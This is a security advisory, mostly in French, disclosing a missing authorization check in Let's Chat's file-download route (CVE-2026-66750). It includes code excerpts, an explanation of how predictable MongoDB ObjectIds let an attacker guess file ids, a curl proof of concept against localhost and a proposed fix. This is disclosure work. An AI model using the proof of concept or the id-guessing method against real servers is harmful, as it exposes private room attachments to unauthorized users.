
Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)
ID CVE attribué : CVE-2026-66750
GET /files/:id/:name vérifie que l'appelant est connecté puis sert le fichier. Il ne
vérifie jamais si l'appelant est autorisé à voir le salon auquel le fichier appartient.
N'importe quel compte peut donc lire les pièces jointes de salons privés et protégés par mot de passe dont il n'est pas membre, et les utilisateurs dont l'accès à un salon a été révoqué conservent des liens de téléchargement fonctionnels pour chaque fichier téléversé pendant qu'ils avaient accès.
Le point de terminaison de listage des fichiers du même contrôleur vérifie, lui, l'appartenance, ce qui manque au point de terminaison de téléchargement.
Repo URL : https://github.com/sdelements/lets-chat
Vulnérable de la version 0.3.0 (commit 55e8833, 24 janvier 2015, "Files backend") jusqu'à 0.4.8, la
version finale. Aucune version corrigée n'existe.
Les salons privés et protégés par mot de passe sont apparus en 0.4.0 ; la limite de confidentialité franchie par cette faille existe donc depuis 0.4.0.
Nécessite files.enable: true, qui est désactivé dans defaults.yml mais activé dans de nombreux déploiements,
car le partage de fichiers est une fonctionnalité documentée.
Confirmé sur 0.4.8 au commit 617207f, et sur docker.io/sdelements/lets-chat:latest
(0.4.7).
CWE-639 : contournement d'autorisation via une clé contrôlée par l'utilisateur. Également CWE-862 : autorisation manquante.
Score de base CVSS 4.0 : 5.3 (Moyen)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
L'attaquant a besoin d'un compte utilisateur ordinaire, d'un accès réseau au port HTTP et de l'ObjectId d'un fichier. L'auto-inscription est activée par défaut.
L'identifiant n'est pas secret en pratique. Toute personne ayant déjà été membre du salon le possède déjà,
car files:list et le message upload://files/<id>/<name> posté lors du téléversement le divulguent tous les deux.
La suppression de l'accès ne l'invalide pas, et l'URL n'a ni expiration ni signature.
Pour un attaquant sans historique dans le salon ciblé, l'identifiant doit être deviné. Il s'agit d'un ObjectId MongoDB, pas d'un UUID, et seule une très petite partie de celui-ci est imprévisible :
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
Tout, sauf le compteur, est constant pendant la durée de vie d'un processus serveur, et le compteur est une séquence unique partagée par toutes les collections. Un attaquant qui téléverse un fichier lui appartenant apprend donc l'id machine, l'id processus et la position actuelle du compteur, et chaque fichier téléversé par quelqu'un d'autre se trouve à courte distance dans cette séquence. Huit téléversements consécutifs sur sdelements/lets-chat:latest :
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
La route de téléchargement applique requireLogin et rien d'autre.
app/controllers/files.js:59-92 :
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room est chargé, puis jamais consulté.
Le chemin de listage de la même fonctionnalité vérifie, lui, l'appartenance.
app/core/files.js:156-175 :
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
L'application dispose donc déjà de la vérification nécessaire (Room.canJoin, définie dans
app/models/room.js:130) ; la route de téléchargement ne l'appelle simplement pas.
Nécessite files.enable: true et rooms.private: true
(LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
Le même résultat vaut pour un compte n'ayant jamais été membre du salon, à condition de connaître l'identifiant du fichier.
Les pièces jointes des salons privés et protégés par mot de passe peuvent être lues par tout compte du serveur qui détient ou peut dériver l'identifiant du fichier. Retirer un membre d'un salon privé ou changer le mot de passe d'un salon ne coupe pas son accès aux fichiers déjà téléversés, et l'archivage du salon non plus.
Charger le salon et réutiliser la vérification que files:list effectue déjà. Dans
app/controllers/files.js:62, après la garde if (!file) :
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
Renvoyer 404 plutôt que 403 pour un identifiant non autorisé évite de confirmer que le fichier existe.